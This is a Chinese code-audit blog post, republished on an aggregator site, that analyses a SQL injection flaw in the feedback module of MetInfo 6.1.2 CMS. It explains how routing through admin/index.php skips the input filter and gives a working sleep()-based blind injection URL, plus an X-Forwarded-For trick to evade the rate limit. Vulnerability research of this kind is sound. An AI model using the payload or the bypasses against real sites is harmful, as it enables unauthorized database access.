内容简介:这个本来是也不想放出来的,因为metinfo这套cms毕竟使用人数还是挺多的,影响范围也很广。但是一位仁兄已经把另一个无条件的触发点放出来了,那我这个稍微有点条件的藏着掖着也没啥意思,不如好洞成双,也给好久没更的博客除下草。漏洞文件:\app\system\feedback\web\feedback.class.php漏洞函数:add 75行
0x01 前言
这个本来是也不想放出来的,因为metinfo这套cms毕竟使用人数还是挺多的,影响范围也很广。但是一位仁兄已经把另一个无条件的触发点放出来了,那我这个稍微有点条件的藏着掖着也没啥意思,不如好洞成双,也给好久没更的博客除下草。
0x02 漏洞分析
漏洞文件:\app\system\feedback\web\feedback.class.php
漏洞函数:add 75行
public function add($info) { global $_M; $query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'"; echo $query; $met_fd_ok=DB::get_one($query); $_M[config][met_fd_ok]=$met_fd_ok[value]; if(!$_M[config][met_fd_ok]){ okinfo(-1, $_M['word']['Feedback5']); } if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){ okinfo(-1, $_M['word']['membercode']); } } if($this->checkword() && $this->checktime()){ foreach ($_FILES as $key => $value) { if($value[tmp_name]){ $ret = $this->upfile->upload($key);//上传文件 if ($ret['error'] == 0) { $info[$key]=$ret[path]; } else { okinfo('javascript:history.back();',$_M[word][opfailed]); } } } $user = $this->get_login_user_info(); $fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER; $ip=getip(); $feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'"); $_M[config][met_fd_class]=$feedcfg[value]; $fdclass2="para".$_M[config][met_fd_class]; $fdclass=$_M[form][$fdclass2]; $title=$fdclass." - ".$_M[form][fdtitle]; $addtime=date('Y-m-d H:i:s',time()); $met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_type' and columnid = {$_M[form][id]}");
代码块的最后一行可以看到 {$_M[form][id]} 没有单引号保护,因为 mysql 也有和 php 类似的弱类型特性,所以 在id参数引号内拼接注入语句后不影响前面的语句的查询结果:
——————
到代码块的最后一行语句中失去了单引号保护,注入payload生效。
以为这样就直接能注入了吗? 怎么可能!!!
在class文件头部可以看到feedback类继承于web类,
class feedback extends web
跟进web类,没有对用户传入的数据进行过滤等操作,却初始化了common类
class web extends common
在common类初始化时调用了表单过滤的函数load_form()
class common { /** * 初始化 */ public function __construct() { global $_M;//全局数组$_M ob_start();//开启缓存 $this->load_mysql();//数据库连接 $this->load_form();//表单过滤 $this->load_lang();//加载语言配置 $this->load_config_global();//加载全站配置数据 $this->load_url_site(); $this->load_config_lang();//加载当前语言配置数据 $this->load_url();//加载url数据 }
此函数中又调用了过滤SQL注入的函数sqlinsert
function sqlinsert($string){ if(is_array($string)){ foreach($string as $key => $val) { $string[$key] = sqlinsert($val); } }else{ $string_old = $string; $string = str_ireplace("\\","/",$string); $string = str_ireplace("\"","/",$string); $string = str_ireplace("'","/",$string); $string = str_ireplace("*","/",$string); $string = str_ireplace("%5C","/",$string); $string = str_ireplace("%22","/",$string); $string = str_ireplace("%27","/",$string); $string = str_ireplace("%2A","/",$string); $string = str_ireplace("~","/",$string); $string = str_ireplace("select", "\sel\ect", $string); $string = str_ireplace("insert", "\ins\ert", $string); $string = str_ireplace("update", "\up\date", $string); $string = str_ireplace("delete", "\de\lete", $string); $string = str_ireplace("union", "\un\ion", $string); $string = str_ireplace("into", "\in\to", $string); $string = str_ireplace("load_file", "\load\_\file", $string); $string = str_ireplace("outfile", "\out\file", $string); $string = str_ireplace("sleep", "\sle\ep", $string); $string = strip_tags($string); if($string_old!=$string){ $string=''; } $string = trim($string); } return $string; }
想绕过这层过滤是比较难的,那怎么解决呢?
所谓大路不通走小路,我们独辟蹊径。
在load_form()中,是daddslashes()调用sqlinsert()过滤sql注入,既然sqliinsert()bypass不太ok,那就看能不能影响语句执行不调用此函数。
function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { if(!defined('IN_ADMIN')){ $string = trim(addslashes(sqlinsert($string))); }else{ $string = trim(addslashes($string)); } } } return $string; }
在函数的第二个判断中如果defined(‘IN_ADMIN’)不为true就不会走到恶臭的sqlinsert函数,找一个将IN_ADMIN定义为true的php文件就能解决问题。
在admin目录index文件第一行就是把IN_ADMIN定义为true,我们还可以通过此文件动态调用存在漏洞的函数,最最重要的无需任何权限就OK
<?php define('IN_ADMIN', true); $M_MODULE='admin'; if(@$_GET['m'])$M_MODULE=$_GET['m']; if(@!$_GET['n'])$_GET['n']="index"; if(@!$_GET['c'])$_GET['c']="index"; if(@!$_GET['a'])$_GET['a']="doindex"; @define('M_NAME', $_GET['n']); @define('M_MODULE', $M_MODULE); @define('M_CLASS', $_GET['c']); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php'; ?>
那么最终payload为:
http://localhost/admin/index.php?m=web&n=feedback&c=feedback&a=dofeedback&action=add&lang=cn&id=44%20and%20sleep(1)¶141=%E5%95%86%E5%8A%A1%E5%90%88%E4%BD%9C
这里还有一个点就是程序会根据IP来限制只能120秒提交一次反馈,用xff头绕过就可以,具体判断代码就不贴出来了
那么这个洞相比另一个鸡肋在哪呢? 在判断验证码是否正确的上下区间。。 另一个洞是在注入点后判断验证码是否正确,这就可以无视掉验证码,但这个洞是在注入点之前。
这就很难受
管理员在后台关闭提交验证码的条件下才能用脚本注入。
当然,开启的情况下也能注入,就是得每次手动提交验证码,在只能盲注的情况下实在比较尴尬。
还有finecms一个洞本来说上个月更的。
没错
我又鸽了
过两天。
以上所述就是小编给大家介绍的《[代码审计]Metinfo 6.1.2 SQL注入》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Java代码审计连载之SQL注入
- 某租车系统Java代码审计之后台注入漏洞
- Etouch2.0 分析代码审计流程 (二) 前台SQL注入
- 代码审计--源代码审计思路
- Java代码审计丨某开源系统源码审计
- 【代码审计】PHP代码审计之CTF系列(1)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Inside the C++ Object Model
Stanley B. Lippman / Addison-Wesley Professional / 1996-5-13 / USD 64.99
Inside the C++ Object Model focuses on the underlying mechanisms that support object-oriented programming within C++: constructor semantics, temporary generation, support for encapsulation, inheritanc......一起来看看 《Inside the C++ Object Model》 这本书的介绍吧!